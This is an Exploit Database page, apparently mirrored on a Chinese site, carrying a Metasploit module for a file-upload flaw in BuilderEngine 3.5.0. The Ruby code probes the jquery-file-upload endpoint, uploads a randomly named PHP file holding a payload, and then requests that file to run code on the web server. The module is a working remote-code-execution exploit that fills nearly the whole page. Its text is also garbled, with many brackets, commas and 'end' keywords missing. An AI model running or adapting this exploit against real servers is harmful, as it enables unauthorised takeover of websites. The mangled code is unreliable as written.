BuilderEngine 3.5.0 – Arbitrary File Upload and Execution (Metasploit)

Exploit Database
110 阅读

作者： Metasploit

日期： 2017-05-17
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/42025/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::FileDropper

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",

'Description'=> %q{

This module exploits a vulnerability found in BuilderEngine 3.5.0

via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious

file, which would result in arbitrary remote code execution under the context of

the web server.

'License'=> MSF_LICENSE,

'Author' =>

[

'metanubix', # PoC

'Marco Rivoli' # Metasploit

'References' =>

[

['EDB', '40390']

'Payload'=>

{

'BadChars' => "\x00"

'DefaultOptions'=>

{

'EXITFUNC' => 'thread'

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Targets'=>

[

['BuilderEngine 3.5.0', {}]

'Privileged' => false,

'DisclosureDate' => "Sep 18 2016",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])

])

end

def check

uri = target_uri.path

uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({

'method' => 'GET',

'uri'=> normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')

})

if res && res.code == 200 && !res.body.blank?

return Exploit::CheckCode::Appears

else

return Exploit::CheckCode::Safe

end

def exploit

uri = target_uri.path

peer = "#{rhost}:#{rport}"

php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

data = Rex::MIME::Message.new

payload_encoded = Rex::Text.rand_text_alpha(1)

payload_encoded << "<?php "

payload_encoded << payload.encoded

payload_encoded << " ?>\r\n"

data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")

post_data = data.to_s

res = send_request_cgi({

'uri'=> normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),

'method' => 'POST',

'ctype'=> "multipart/form-data; boundary=#{data.bound}",

'data' => post_data

})

if res

if res.code == 200 && res.body =~ /files|#{php_pagename}/

print_good("Our payload is at: #{php_pagename}. Calling payload...")

register_file_for_cleanup(php_pagename)

else

fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")

end

else

fail_with(Failure::Unknown, 'ERROR')

end

print_status("Calling payload...")

send_request_cgi(

'method' => 'GET',

'uri'=> normalize_uri(uri,'files/', php_pagename)

)

end